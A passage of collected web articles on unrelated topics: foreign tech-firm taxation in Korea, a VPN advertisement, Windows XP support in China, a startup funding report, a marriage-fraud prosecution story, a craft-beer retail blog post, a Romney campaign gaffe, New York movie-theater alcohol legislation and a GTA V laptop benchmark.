regardless of the locations of their headquarters."  The remarks reflect that renowned IT firms ― including Apple, Google or YouTube ― have generated billions of won in profits each year here, but the Korean government has failed to collect enough taxes from their business operations, due to a different taxation system imposed on multinational firms.  This is in contrast to hard-line protectionist policies from the Chinese government, which has in recent years imposed strict regulations on Western IT titans. This has resulted in creating such influential Chinese firms and services as Baidu and TenCent's WeChat.
-Freedom to use the Internet  Internet security, privacy and anonymity have been taken away from us through the widespread use of mass surveillance and the rise of malicious hackers.  Whenever you visit a website, do a web search or update your Facebook, Twitter, Instagram or any other social media, you leave a trail of network information that can identify your real identity and your online history.  RECLAIM your security privacy and anonymity with our personal Virtual Private Network that protects and hides your real network identity by giving them our servers’ identity instead of yours.  Bypass Censorship, Monitoring and Filtering with your computers, mobile devices and Internet of Things (IOT) devices by encrypting all your internet traffic.  Access Geo-Restricted Content  Bypass geo-blocked sites, use BolehVPN for your cross borders online shopping and online streaming entertainment Get access to USA-only Playstation, Steam, iTunes, Netflix and Google Play to name a few. Please refer to this guide to access Netflix-USA.
-Microsoft is making a special exception in the way it retires Windows XP in China, and will continue offering security support for the OS to users in the nation.  To do so, the U.S. software giant is partnering with China’s leading Internet security vendors, Microsoft said in a Sunday posting on its official account with Sina Weibo, a top social networking site in the country.  Outside of China, Microsoft is dropping support of Windows XP on April 8, meaning that users of the OS will no longer receive security patches meant to fix vulnerabilities in the software.  To stay protected, Microsoft has urged users of the old OS to upgrade their PCs to the latest version of Windows. In markets such as the U.S., Windows XP is gradually being phased out by PC users. But in China, the software remains one of the top operating systems.  Among China’s Internet users, about 57 percent rely on Windows XP systems to go online, according to analytics site CNZZ.com. The OS can still be found in use at Internet cafes, businesses and schools.  A major reason why the 12-year-old OS is so popular in China is because it has been widely pirated. For years, Microsoft has tried repeatedly to convince consumers and businesses in the nation to buy official copies, pointing to the rampant security vulnerabilities found in bootleg versions. But the operating system’s high price has been one factor that’s turned potential buyers away.  The retiring of Windows XP, however, is giving China’s security vendors a chance to fill the void with their own security products. Among the Chinese security vendors helping Microsoft provide support to the OS is Tencent, one of China’s largest Internet firms.  It’s unclear how the protection will be delivered, but the security support may not even matter to most Windows XP users in the country.  In its Sunday post, Microsoft noted that 70 percent of China’s Windows XP users had in the last 13 years never chosen to install the company’s security updates.
-Sixteen years ago, David Bohnett founded GeoCities, a homepage-hosting website which presaged today’s blogs and social networks. Now his Baroda Ventures is backing Fabulis, a recently launched social network for gay men.  Jason Goldberg, Fabulis’s cofounder and CEO, told me that Bohnett recently agreed to invest $250,000 in Fabulis, bringing the New York-based company’s seed funding to $825,000.  Bohnett, an openly gay entrepreneur like Goldberg, has been an active venture investor since he sold GeoCities to Yahoo in 1999 for $3.6 billion. (Yahoo shut down GeoCities a year ago, after failing to capitalize on its early lead in giving ordinary Web users an online presence.) He got interested in Fabulis after using the site, according to Goldberg.  Fabulis is betting heavily on its virtual currency of “bits” as a business model. It’s currently running travel-related contests for trips to Fire Island, a popular summer destination outside New York City, and Atlantis Cruises, a gay cruise line.  Originally, Goldberg said he thought users would use bits for messaging, with users setting their own price in bits for access to their inbox. But he rapidly realized that wasn’t working, because “Facebook messaging is free.”  Instead, he’s running a massive popularity contest, where users vote each other up and bits, which sell for 1,500 a dollar and up, supercharge those votes. Prizes are awarded to people who enter a particular contest, but you can’t quite buy your way to the top. Instead, you need to make friends who then use their bits to give their votes more weight. Some are spending hundreds of dollars on bits, according to Goldberg.  Fabulis has given away $30,000 in prizes so far, Goldberg said, and users’ total spending has exceeded that amount. It’s also offering bits to users who sign up for marketing offers from advertisers like American Airlines.  Those dual revenue sources may help distinguish it from competitors like GayCities, a more established startup which recently relaunched its gay travel directory as a social network and may prove to be Fabulis’s most direct competition.  “If you can get paid on both ends, that’s a very good business,” said Goldberg.
-Please enable Javascript to watch this video  Authorities said a Virginia Beach man is being kicked out of the country after his mother was convicted of creating a fake family.  It’s been a dramatic fall for Natallia Liapina. A year ago, the woman from Belarus was married to a doctor, living in Virginia Beach with her teenage son.  She landed a job as a Russian teacher at Tallwood High School, where her colleagues adored her.But then came the prosecutors. They said all this was a hoax, an elaborate fraud to get Natallia a green card.  Previous: Man fighting deportation due to accusations of marriage fraud against family  Prosecutors said Natallia’s husband, Armando, was actually in love with Natallia’s oldest son. The two men carried on a romantic relationship, the prosecutors said. And to please Danil, prosecutors claimed Armando agreed to marry Danil’s mother so she could live in America.  Natallia and her sons deny all of this.  Danil said there was no romantic relationship with Armando. He was already married to an American woman named Victoria. And Ivan, Natallia’s youngest, said this was a real family.  No one who worked with Natallia at Tallwood believes any part of the government’s case. Teachers stepped forward to tell NewsChannel 3 Natallia was not only a good teacher, but a good person.  “It’s so upsetting because it is the opposite of who she is. They are telling her that you are dishonest in all that you did here, and she was the epitome of honesty and integrity in everything that she did,” says one of the teachers.  All of this happened, Ivan says, because his sister-in-law got jealous. Danil and Victoria split up. According to court records and interviews, when Victoria found out there was another woman, she went to the authorities and declared the marriage a fraud. She essentially turned herself in, and said her marriage to Danil was fake.  Danil told us that even after his wife reported him, they got back together and remarried. But that didn’t end the investigation. In fact, it broadened to include Natallia. Danil’s family says jailhouse phone calls between Danil and Victoria reveal a real marriage.  The dozens of calls show they fought, a lot, about money mostly. They talked about sex. And Victoria revealed she was angry Danil had left her for someone else.  None of this was allowed in court. According to court testimony, Victoria helped prosecutors after they promised not to charge her. She would not agree to an interview for this story. Prosecutors said there were at least three other Americans involved in this conspiracy, but no one else was arrested.  In the end, these teachers say the school system has lost an excellent instructor to a prosecution that, in their eyes, was way off the mark. They are hoping Natallia can appeal and one day return to teaching.  “It’s unfair because I know all my family, including me, including Vanya, including Danil, worked hard in this country,” says Natallia.  As for Ivan, whom his mother calls Vanya, he worries he’ll be forced from the country. The government says if his mother’s immigration paperwork is fake, then his isn’t valid either.  The Liapin family has set up a fund to pay for an appeal.  Facebook page for the Liapin Family Defense Fund  Statement from the U.S. Attorney’s Office, on why none of the four accused Americans were prosecuted in this case:  “Over the past five years, the Eastern District of Virginia has charged more than 120 people with marriage fraud, including both U.S. citizens and foreign nationals. Decisions on whether to bring charges in a criminal case are guided by the U.S. Department of Justice’s Principles of Federal Prosecution. While we do not disclose the reasons why a person associated with a case may not be charged, these principles state that we must consider the evidence at hand, the person’s culpability in connection with the offense, their previous criminal activity, and their willingness to cooperate, among several other factors.”  I’d also point you to what we stated in our sentencing position paper for Mr. Lyapin:  Danil Lyapin tried no less than four times with fraudulent marriages to get permanent residence in the United States. Mr. Lyapin deliberately broke down his spouses through repeated mental attacks which from time to time had a physical component. During these “green-card” marriages, Mr. Lyapin continued to date other women and carry on other relationships that further caused mental damage to some of his “wives” and girlfriends. One of these relationships was with Armando Figueroa. Mr. Lyapin and Mr. Figueroa, who was several decades his elder, carried on a romantic relationship for a period of years to allow Mr. Lyapin to use Mr. Figueroa resources to bank roll his lifestyle. Mr. Figueroa bought Mr. Lyapin cars and a restaurant. Still, as the evidence showed, this was not enough. Mr. Lyapin caused Mr. Figueroa to marry the defendant Ms. Liapina so she could also obtain a green-card. Ms. Liapina never had a bonafide marriage with Mr. Figueroa. Mr. Lyapin admitted to agents that Mr. Figueroa only married his mother as a favor to Mr. Lyapin.  The defendant’s conduct during the investigation far exceeded most of the other approximately 120 offenders the government has prosecuted over the past five years. This defendant was the only one to enter into three distinct marriage frauds. This defendant was particularly hard on his spouses and his girlfriends who were smart enough not to marry him. This defendant made fraudulent filings and set up at least fraudulent marriage with his mother.  Statement from Danil Lyapin’s wife, Victoria, (Natallia Liapina’s daughter-in-law), in declining to participate in this story:  I think it is highly inappropriate to air any story concerning me and my life, you know nothing about me and my life. However I respect freedom of speech do whatever you chose, those who know me and care for me know what the truth is, those who don’t, I’m unconcerned what they think they know about me. Until they have walked a mile in my shoes they cannot begin to know anything about me and my life. Do what you feel is best. I have certainly in my life, in every aspect of it.  Written by Mike Mather, WTKR.
-Beer Reps Unite!  This story is for all of my brothers in craft beer arms, the road warriors who are out and about in their patches of turf spreading the word of the craft beer gospel.  I bet many of theses guys and girls, maybe all of them, at some stage have walked into a local bottle-o with a fresh new product they are very excited about, and before they can run through their pitch, the manager says “Is it in Dan’s?”…instant deflation.  I have heard this story so many times before, but in talking to a few friends still in the business, it got me thinking about the issue from both sides, and compelled me to write this article. I know that in writing this, I may frustrate and piss of a few people, but it may also open up some good debate on the topic, which I think is good for the beer community.  Before I go on, I am writing this from an Australian point of view, talking about the Australian beer market. I am sure that some of my readers involved in the business in the Northern Hemisphere will have similar challenges, but I don’t have any real knowledge of your market conditions and don’t have any insights to share. However, if you read this and have similar stories to tell, please shoot me an email, leave a comment, or hit me up on Twitter…I would love to hear from you.  The issue that I want to talk about it Big vs Small, David vs Goliath, and the attitudes of some (not all) in the business of letting the big guy win, instead of finding another way to compete with him. History is littered with accounts of the little guys finding a way to succeed…in the NBA today, we have Steph Curry, who won the MVP of the league last year at just 6” 3’, the smallest player to do so in 10+ years. What about a challenger brand such as Uber taking on the decades old tradition of Taxi transport services, or back in the day when Napster forced an archaic music industry to change it’s ways. These little guys have taken it up the big fella and won, which isn’t easy and there will be more losers than winners…but for the few that are strong and give a big “F##k you” to the man, victory is sweet!  Where am I going with all of this, you say? Well the liquor industry in this country is dominated in the off premise world (bottle-o’s, take away’s, retail outlets…not bars) by two of the country’s largest corporations…Woolworths and Wesfarmers (Coles). Yep, those guys that run departments stores, petrol stations, hardware stores, banking & insurance services and supermarkets filled to the brim with their own private label products also control 60%+ of the off premise liquor market between them.  Look I am not here to bash the big guys, I am sure that they make their shareholders very happy, and obviously run a very good business model. What I am here to do is to challenge the mindset of the other guys, the small independent guys battling against the Goliaths to make an honest living. The bottle shop Manager who, when presented with a new beer from one of the independent breweries, is very quick to ask THAT question “Is it in ?”. Not only do they ask that question, the answer is usually the determinate of the decisions to give the new product a run…and not the quality of the product, or the potential interest their customers may have in it.  In this situation, if the answer to the above question is a “yes”, they can turn quite negative and start to complain about the help the big guys get with discounts and how they always undercut the little guys prices, how the small guy can never win, and how we may as well just be dead. Well okay, that’s going a little bit too far, but it is fair to say that this conversation is shut down fairly quickly if the answer to that poignant question is a yes.  For the brewery, this is a really delicate balancing act. The larger chains have a big footprint in the market, and the brutal truth is that if you have aspirations as a brewery of being a national brand, at some stage you probably need to get into the mix with them. However, the smaller local bottle shops are where the real engagement between brand and consumer, facilitated by the staff, happens. Somewhere there is a balance between the two, ranging in the small guy and driving distribution in the big guy,  I understand that the local Bottleshop Managers don’t really care about the aspirations of a small brewery, at the end of the day they have their own business to keep afloat, which is only fair, but do the aspirations of both have to be mutually exclusive? I get it, the little guys don’t want to play the price war, and small businesses that run on skinny margins can’t afford to take risks with new products if they are going to see their customers head up the road to buy it next time it’s on special. But is that what really happens? I would like to challenge the mindset of the small business owner here and open up the conversation about working together, small brewery and small business, to take on the big guys.  Now, I am going to let you in on some secrets of the trade (that probably aren’t that secret) that I was exposed to in my previous working life. There are actually some other things that consumers take into consideration when making a purchase decisions, and it’s not just the price  Convenience  Humans are inherently lazy, this writer included. I am forever thinking of easier ways to do things & faster ways to get stuff done, it means I have more time to myself! Sometimes the plans I come up with take longer to come to fruition than actually doing the task, but I love challenging myself to find a better way!  Think about it…do I want to stop in at my local on the way home on a Friday night and pick up that six pack of craft beer at normal price, or do I want to drive 10 minutes out of my way and save $2 on that same six pack?  You are damn right that I will go to my local, it will cost me more than 2 bucks to make the detour! Plus, if I go to the local I will have my strides off, sitting on the couch in my undies, ready for Friday night footy 20 minutes earlier than if I went to the the big box option! Remember, its 10 minutes both ways, and you probably will have to navigate a busy car park and stand in line as well!  We love places that are close to home, where we can park easily, and get in and out with our purchases quickly!  Tips for making it more convenient for your customers  We are Lazy! Play up to that and make sure that everything you do in store is about convenience! Clear pricing, neat displays, products in the right places etc. Use social media to your advantage. When are we thinking about our beer purchases for the night (all day I hear some say!)? Around the mid-afternoon, when we hit that slump and slurp a cup of dodgy instant coffee while checking out Facebook. Tell us that you are open, tell us that you are convenient and tell us about something new in store. Shit…tell us that we can jump the line if we show you your post on our phone, if that’s what it takes! Help us! Be active, be eager to help, share your knowledge of the products, make us appreciate your help and we will be back.  Availability & Range  You know what pisses me off the most…when I go to the big box and can get a great range of beer, but then decide to support the local guy in the scenario above and find a fridge full of me-too lagers, some uninteresting international premium beers and a few token craft beers.  What about adding a few items that are a little different…the cool stuff like the local brews, or the beers that scream out “try me, I’m different!” If you want me to stop shopping at the big guy, you have to give me a compelling reason to switch.  The Tips  You don’t have to stock all and sundry, but at least have something that is a little bit different. Take small, calculated, risks with the new products…just trial it. One carton of a new brew won’t break the bank…we all know that if you sell two six packs out of it, you will have covered your cost! Talk to your customers that might be interested in that small independent brewery’s new product and ask them what they think. Give them one of those samples that your beer rep will be only too happy to supply, and ask them for their feedback. If they feel part of the decision, that drives loyalty, and they may even spread the word! Tell people about the new and different stuff you have…either via social media, face to face, or on external signage. Break through the clutter and stand out from the crowd. Keep an eye on stock…consumers hate it when their favourite beer at their local is in stock one week, and then not the next. Keep an eye on best before dates too…no one likes buying an out of date beer.  Staff  I love it when I walk into my local and can have a chat with the guy behind the counter, and he actually knows what he is talking about! There is nothing worse than asking for assistance and getting a blank look, or a generic “the beer is over there” response from the person behind the counter. Or, even worse, you get some young kid who is more interested in hooking up with a girl on Tinder, or posting their latest “bored at work” selfie on Snapchat.  When I walk into the bottle-o, I want to be treated like a local, be engaged with, maybe have a conversation about what my choices are, and feel good about my purchase decisions. To facilitate this, you must have good, knowledgeable staff that are enthusiastic and helpful.  The Tips  Sounds stupid, but get good staff! Train your staff, make sure they know what’s going on. That beer rep that you just told to shove his new product where the sun don’t shine, he is probably a wealth of knowledge and only too willing to help. Ask him to help train your staff…he will only ask for a regular pallet display in return, but hey, give and take! Get your friends to mystery shop your store to find out what’s really going on. Ban staff phones at the counter! Get your staff out from behind the counter to have conversations at the point of purchase. If they are really good, they may even help drive the sales of full margin products!  So there you have it, my gripe, and some tips to help open the conversation with the naysayers that are only too quick to roll over and play dead when the big boys flex their pricing muscles. If you are reading this and work in a bottle shop, next time you have a beer rep come in to your store that represents one of the companies that don’t have massive budgets, at least give them the time to explain their new product and what it might provide your customers, instead of leading with “Is it Dan’s?”.  At least make sure they give you some decent samples before you say no to them…you have to be sure that the beer tastes good, don’t you…a six pack should do the trick!  If you think about it, smaller operators and smaller breweries are kind of in this together. You are both trying to survive in a very crowded business world dominated by a few big players, so why not try and help each other out? I am tipping that your local and loyal customers will thank you for it, and may even think twice about jumping in the car to visit the beer supermarket next time. Instead of spending those few extra dollars on petrol to get to the beer supermarket, they will put it in your till!  In doing some research for this article, I contacted a bunch of like minded craft beer lovers around Australia to find out some of their favourite smaller bottle shops that tick all the boxes mentioned above, or are at least taking it up to the big guys. The response was overwhelming, so it seems there are some great smaller businesses out there doing the right thing for the greater good of both the industry and the consumer. I encourage you to seek out these places below if you want great service, great knowledge, great beer and above all, a great shopping experience. Oh yeah, and if you have other places you like to visit, why not leave a comment about them.  Victoria  Carwyn Cellars & Slow Beer  Tasmania  Cool Wine & Crown Cellars  Queensland  Craft, Grand Central Cellars & Archive Beer  New South Wales  Beer Cartel, Camperdown Cellars & Oak Barrel  South Australia  Belair Fine Wines & Parade Cellars  Western Australia  Mane Liquor & International Beer Shop  Thanks for reading my rant this week, it was done so with the best of intentions.  As usual, would love you to follow me on Twitter and Facebook pages, check out my YoutTube channel or Instagram feed, and also sign up for email notifications here….but only if you want to!  If you have any feedback for me, I would love to hear it, please leave me a comment or shoot me an email.  BTW, did you see my review of Willie The Boatman Corn Ale, or check out my 8 Beers I Wish I Had Brewed from last week?  Until Wednesday, when I share my new video beer review format!  Cheers to Great Beer Reps!
-Republican presidential candidate and former Massachusetts Gov. Mitt Romney speaks at the University of Warsaw Library in Warsaw, Poland, Tuesday, July 31, 2012. (AP Photo/Charles Dharapak)  Mitt Romney made an unfortunate slip of the tongue during a fundraiser Tuesday, when he mistakenly said "sheik" instead of "Sikh" while commenting on the tragic shooting in Wisconsin.  According to a media pool report, the Republican presidential hopeful used the Arabic term, which typically refers to an elder or religious leader, to discuss Sikhism, a religion that originated in the Punjab region of South Asia.  "I was in Chicago earlier today," Romney said to about 280 supporters at a fundraiser in West Des Moines, Iowa. "We had a moment of silence in honor of the people who lost their lives at that sheik temple. I noted that it was a tragedy for many, many reasons. Among them are the fact that people, the sheik people are among the most peaceable and loving individuals you can imagine, as is their faith. And of course, the person who carried out this heinous act was a person motivated by racial hatred and religious intolerance."  When asked about the comments, Romney spokesman Rick Gorka insisted that the mix-up was a mispronunciation.  "He misspoke," Gorka said, according to the pool report. "He mispronounced similar sounding words. He was clearly referring to the tragedy in Wisconsin."  Earlier Tuesday, Romney offered his condolences to the victims of the tragic shooting that left six worshippers dead over the weekend at a Sikh temple in Oak Creek, Wisc. The former governor said the suspected shooter, Wade Michael Page, was "motivated by hate," and called for prayers for the victims.
-CLOSE ALBANY -- New York movie theaters are hoping to rewrite the ending in the push to legalize alcohol sales. Joseph Spector, Albany Bureau  Ari Benmosche, the owner of the Lafayette Theatre in Suffern, Rockland County, discusses an effort to allow for alcohol sales at theaters in New York on Monday, June 12, 2017, near the state Capitol in Albany. (Photo: Joseph Spector, Albany Bureau)  ALBANY - New York movie theaters are hoping to rewrite the ending in their push to legalize alcohol sales.  After the measure was rejected in the state budget in April, theater owners and their legislative allies on Monday renewed their effort to let patrons buy alcohol during the movies.  Supporters billed it as a way to help independent theaters and bring visitors to small downtowns across New York.  "This would create such a huge revenue source for us," said Ari Benmosche, owner of the Lafayette Theatre in Suffern, Rockland County.  Gov. Andrew Cuomo made the issue one of his priorities for the legislative session that started in January, but the bill wasn't included in the state budget approved by the state Legislature on April 9.  Some lawmakers raised concerns about mixing movies and booze, and so they left the bill on the cutting room floor.  But the National Association of Theater Owners of New York State joined with beer producers, elected officials and business groups on Monday to urge the Legislature to reconsider, saying the bill would be a boon for their theaters and includes safety precautions.  “This legislation, at its core, will support job creation, drive millions of dollars back into New York’s economy, and by promoting and serving local beers, ciders, spirits, and wines, support New York agriculture,” said Joe Masher, the association's president.  The clock is ticking: The legislative session ends June 21 for the year.  Currently, movie theaters can serve alcohol in their lobby if they are a tavern license holder or have a full kitchen.  Cuomo's bill would let theaters apply for a permit to serve alcoholic beverages, regardless of whether they serve food or have tables.  The proposal would allow moviegoers to purchase one drink at a time, and drinks could only be served at PG-13 or R-rated movies.  A similar measure passed the Republican-led Senate last year, but it stalled in the Democratic-controlled Assembly.  The governor is hopeful the measure will get legislative approval, said Cuomo spokesman Rich Azzopardi.  NEWSLETTERS Get the ROC60 newsletter delivered to your inbox We're sorry, but something went wrong Rochester in 60 seconds: Get all the news you need to know in less than a minute. Please try again soon, or contact Customer Service at 1-800-790-9565. Delivery: Invalid email address Thank you! You're almost signed up for ROC60 Keep an eye out for an email to confirm your newsletter registration. More newsletters  "It is a common sense issue that we absolutely support," he said.  There has been a push around the nation to let alcohol into the movies — including in New York.  For example, the Alamo Drafthouse Cinema chain opened a theater in Yonkers in 2013, and it sells alcohol because it serves food and has table settings.  The Little Theatre in Rochester also has a cafe that serves alcoholic beverages, but patrons aren't allowed to bring the drinks into the movies.  Read or Share this story: http://on.rocne.ws/2tdGpQ6
-GTA V Benchmarked Florian Glaser , ✓ Tanja Hinum , Better late than never. Barely 1.5 years after the Last-Gen edition, GTA V is finally released for the PC. We tested it on multiple notebooks, to see if the wait was worth it.  Working For Notebookcheck Are you a techie who knows how to write? Then join our Team! Currently wanted:  German-English-Translator - Details here  Reviews , News , CPU , GPU , Articles , Columns , Other "or" search relation. Accessory , AMD , Android , Apple , ARM , Audio , Bay Trail , Business , Cannon Lake , Charts , Chinese Tech , Chromebook , Coffee Lake , Console , Convertible / 2-in-1 , Cryptocurrency , Cyberlaw , Deal , Desktop , Fail , Gadget , Galaxy Note , Galaxy S , Gamecheck , Gaming , Geforce , Google Nexus / Pixel , How To , Ice Lake , Internet of Things (IoT) , iOS , iPad Pro , iPhone , Kaby Lake , Lakefield , Laptop , Linux / Unix , MacBook , Monitor , MSI , OnePlus Two , Phablet , Review Snippet , Rumor , Ryzen (Zen) , Security , Smart Home , Smartphone , Smartwatch , Software , Storage , Tablet , Thunderbolt , Touchscreen , Ultrabook , Virtual Reality (VR) / Augmented Reality (AR) , Wearable , Whiskey Lake , Windows , Workstation , XPS Ticker Engine, Benchmarks, and Results For the original German article, see here. GTA V is based on the RAGE engine (not to be confused with the Ego shooter from id Software), which has been tweaked with additional engines like Euphoria (character animation) and Bullet (physics simulation). The end result is a spectacular PC experience which offers convincing textures, shadows, lighting and vegetation at high to max settings. Although now and then objects may appear unclear during fast rides (cars, planes, etc.), this problem of rendering shadows and quality settings exists in almost every Open World game. In a direct comparison to Watch Dogs, GTA V performs better. The lighting is more realistic despite lower hardware requirements.  If you were expecting the PC port of GTA V to be a huge disaster, you can rest easy now. During our benchmarks we almost never encountered serious bugs or crashes. However, we did encounter some issues starting the game on Nvidia laptops. Although the latest GeForce driver, the ForceWare 350.12, was installed, the systems, equipped with Optimus, did not want to start up the Rockstar Social Club, preventing the game from launching. Google contained the answer: open the device manager, disable the Nvidia adapter for a little while, start GTA V and as soon as the Social Club starts, turn on the graphics card. In general, our experience with the game was not smooth. At around 60 GB (~3 hours download with VDSL 50; the shop version includes 7 DVDs!), GTA V sets a new record (negative) for loading times (game start, save games, etc.) and the integrated benchmark only works if both Intro missions have been absolved.  At this path, the user will find a folder named "Benchmarks," which contains recorded measurements. We do not understand why the files have no overall score and "only" note the minimum, average and maximum frames possible in each of the five scenes. We chose to use the results of the last sequence (pass 4). Due to the short runtime, the first four tests (pass 0-3 = panorama shots with day/night change) are not very reliable. The 2-minute final scene with the fighter jet and car chase is more reliable due to it being closer to actual gameplay. We still would not consider the benchmark perfect as the minimum frames fluctuate heavily in pass 4, which is probably due to bugs. Furthermore, the average fps can fluctuate during each test due to the randomly simulated traffic (difference of a few fps).  Reviews , News , CPU , GPU , Articles , Columns , Other "or" search relation. Accessory , AMD , Android , Apple , ARM , Audio , Bay Trail , Business , Cannon Lake , Charts , Chinese Tech , Chromebook , Coffee Lake , Console , Convertible / 2-in-1 , Cryptocurrency , Cyberlaw , Deal , Desktop , Fail , Gadget , Galaxy Note , Galaxy S , Gamecheck , Gaming , Geforce , Google Nexus / Pixel , How To , Ice Lake , Internet of Things (IoT) , iOS , iPad Pro , iPhone , Kaby Lake , Lakefield , Laptop , Linux / Unix , MacBook , Monitor , MSI , OnePlus Two , Phablet , Review Snippet , Rumor , Ryzen (Zen) , Security , Smart Home , Smartphone , Smartwatch , Software , Storage , Tablet , Thunderbolt , Touchscreen , Ultrabook , Virtual Reality (VR) / Augmented Reality (AR) , Wearable , Whiskey Lake , Windows , Workstation , XPS Ticker If you disregard the somewhat awkward control with a mouse and a keyboard, the PC version of GTA V is technically okay. In no way is it like the stutter disaster which is GTA IV. The hardware requirements are appropriate, with the exception of a few settings. The same cannot be said of many other games, like Assassin's Creed Unity. Most systems will have some graphical errors (for example, the Radeon R9 280X @Ultra) and sadly the graphics menu does not offer descriptions for the options, which we hope will be remedied. Low Settings Medium Settings High Settings Ultra Settings  Back to the benchmark: according to our benchmarks, the game requires at least an Iris Pro 5200 at low settings and a resolution of 1024x768 pixels. Weaker Intel chips, like the successful Core i models, the HD Graphics 3000, 4000 and 4600 are not appropriate to run GTA V (the benchmarks should run at above 40 fps). Middle-class GPUs, starting at the GeForce GT 740M, are suited for normal settings and a resolution of 1366x768 pixels. If you want to run the game at the FHD resolution with high details and 2x MSAA, then you need a high-end graphics card, like the GeForce GTX 960M. Sadly, no notebook GPU can run the game fluidly with max settings and all options turned on. In the Ultra test, even the GeForce GTX 980M suffered at a mere 36 fps. For such high settings, you require cutting-edge desktop hardware (GTX 980 @45 fps). Tip: Asus will provide us with a 4K display shortly, which will help us add some more information to our gaming benchmarks. How interested are you in 4K? Please write to us in the forum below.  Independent journalism is made possible by advertising. We show the least amount of ads whenever possible but we intentionally show more ads when an adblocker is used. Please, switch off ad blockers and support us!  GTA V 3840x2160 High/On (Advanced Graphics Off) AA:FX AF:8x 1920x1080 Highest Settings possible AA:4xMSAA + FX AF:16x 1920x1080 High/On (Advanced Graphics Off) AA:2xMSAA + FX AF:8x 1366x768 Normal/Off AF:4x 1024x768 Lowest Settings possible NVIDIA GeForce GTX 980, 3770K  Desktop-PC 59.4 (min: 16) fps ∼24% 45.4 (min: 18) fps ∼23% 99.3 (min: 18) fps ∼40% 131.8 (min: 14) fps ∼46% 139.7 (min: 9) fps ∼44% AMD Radeon R9 290X, 4790K  Sapphire Radeon R9 290X Tri-X OC 51.8 (min: 22) fps ∼21% 41 (min: 20) fps ∼21% 93 (min: 37) fps ∼38% 149 (min: 6) fps ∼52% 155 (min: 4) fps ∼49% NVIDIA GeForce GTX 980M, 4700MQ  Schenker W504 41.4 (min: 15) fps ∼17% 35.6 (min: 13) fps ∼18% 80.8 (min: 18) fps ∼33% 115.4 (min: 18) fps ∼40% 135 (min: 48) fps ∼43% AMD Radeon R9 280X, 3770K  Desktop-PC 31.9 (min: 8) fps ∼16% 76.3 (min: 22) fps ∼31% 121.9 (min: 46) fps ∼43% 129.5 (min: 21) fps ∼41% NVIDIA GeForce GTX 970M, 4700MQ  Schenker W504 32.4 (min: 12) fps ∼13% 28 (min: 12) fps ∼14% 70.6 (min: 17) fps ∼29% 122.6 (min: 11) fps ∼43% 135.1 (min: 18) fps ∼43% NVIDIA GeForce GTX 880M, 4700MQ  Schenker W504 26.8 (min: 13) fps ∼14% 62.7 (min: 18) fps ∼25% 122.3 (min: 38) fps ∼43% 132.1 (min: 10) fps ∼42% NVIDIA GeForce GTX 870M, 4700MQ  Schenker W504 21.1 (min: 11) fps ∼11% 50.7 (min: 18) fps ∼21% 107.6 (min: 25) fps ∼38% 133.7 (min: 8) fps ∼42% NVIDIA GeForce GTX 960M, 4720HQ  Schenker XMG A505 20.4 (min: 8) fps ∼8% 18.1 (min: 4) fps ∼9% 44.1 (min: 14) fps ∼18% 114.4 (min: 26) fps ∼40% 126.1 (min: 25) fps ∼40% NVIDIA GeForce GTX 860M, 4700MQ  Schenker W504 14.6 (min: 8) fps ∼7% 36.4 (min: 14) fps ∼15% 124.8 (min: 18) fps ∼44% 117.1 (min: 19) fps ∼37% NVIDIA GeForce GTX 850M, 4340M  Schenker M504 10.9 (min: 4) fps ∼6% 29 (min: 10) fps ∼12% 65.9 (min: 19) fps ∼23% 72.8 (min: 15) fps ∼23% NVIDIA GeForce GT 750M, 4702MQ  Schenker M503 7.3 (min: 1) fps ∼4% 17 (min: 11) fps ∼7% 73.3 (min: 28) fps ∼26% 79.8 (min: 21) fps ∼25% AMD Radeon R7 512 Cores (Kaveri Desktop), A10-7850K  A10-7850K Asus A88-XM-PLUS 5.3 (min: 2) fps ∼3% 13 (min: 6) fps ∼5% 47.6 (min: 22) fps ∼17% 54.4 (min: 28) fps ∼17% NVIDIA GeForce GT 640M, 2637M  Acer Aspire M3-581TG 3 fps ∼2% 12 (min: 2) fps ∼5% 44.6 (min: 15) fps ∼16% 52.8 (min: 12) fps ∼17% NVIDIA GeForce GT 740M, 4200M  HP Envy 15-j011sg 3.9 (min: 3) fps ∼2% 10.5 (min: 7) fps ∼4% 44.4 (min: 7) fps ∼16% 58.4 (min: 20) fps ∼19% NVIDIA GeForce GT 630M, 3720QM  Asus N56VM 8.4 (min: 4) fps ∼3% 35.9 (min: 5) fps ∼13% 52.3 (min: 13) fps ∼17% Intel Iris Pro Graphics 5200, 4750HQ  Schenker S413 0 fps ∼0% 7.2 (min: 2) fps ∼3% 38.4 (min: 14) fps ∼13% 46.5 (min: 17) fps ∼15% NVIDIA GeForce GT 720M, 4200M  MSI CX61-i572M 4.1 fps ∼2% 8.4 fps ∼3% 39.4 fps ∼14% 49 fps ∼16% Intel HD Graphics 4600, 4700MQ  Schenker W504 5.7 (min: 1) fps ∼2% 29.4 (min: 10) fps ∼10% 33.3 (min: 10) fps ∼11% Intel HD Graphics 3000, 2637M  Acer Aspire M3-581TG 7.5 (min: 4) fps ∼2%  Four of our test models are provided by Schenker Technologies (mysn.de): W504 (Core i7-4700MQ, 8 GB DDR3, GeForce GTX 860M, GTX 870M, GTX 880M, GTX 970M, GTX 980M, Win 7)  (Core i7-4700MQ, 8 GB DDR3, GeForce GTX 860M, GTX 870M, GTX 880M, GTX 970M, GTX 980M, Win 7) A505 (Core i7-4720HQ, 8 GB DDR3, GeForce GTX 960M, Win 8.1)  (Core i7-4720HQ, 8 GB DDR3, GeForce GTX 960M, Win 8.1) M504 (Core i5-4340M, 8 GB DDR3, GeForce GTX 850M, Win 7)  (Core i5-4340M, 8 GB DDR3, GeForce GTX 850M, Win 7) M503 (Core i7-4702MQ, 8 GB DDR3, GeForce GT 750M, Win 7) Three of our test models came from Nvidia: HP Envy 15-j011sg (Core i5-4200M, 12 GB DDR3, GeForce GT 740M)  (Core i5-4200M, 12 GB DDR3, GeForce GT 740M) MSI CX61-i572M281BW7 (Core i5-4200M, 8 GB DDR3, GeForce GT 720M)  (Core i5-4200M, 8 GB DDR3, GeForce GT 720M) Acer Aspire Timeline Ultra M3-581TG (Core i7-2637M, 4GB DDR3, GeForce GT 640M) Intel added: Schenker S413 (Core i7-4750HQ, 8 GB DDR3, Iris Pro Graphics 5200) The desktop PCs contain CPUs/APUs from Intel and AMD, SSDs from Micron, Intel and Samsung, motherboards from Intel and Asus and graphics cards from Nvidia and AMD. GPU drivers used: Nvidia 350.12, AMD 15.4 Beta, Intel 10.18.10.14.4156  Overview  The first mission of GTA 5 running on a Acer Aspire M3-581TG (Core i7-2637M Dual-Core, GeForce GT 640M) in medium settings. Two slowdowns with laggy input reduced the gaming experience a bit
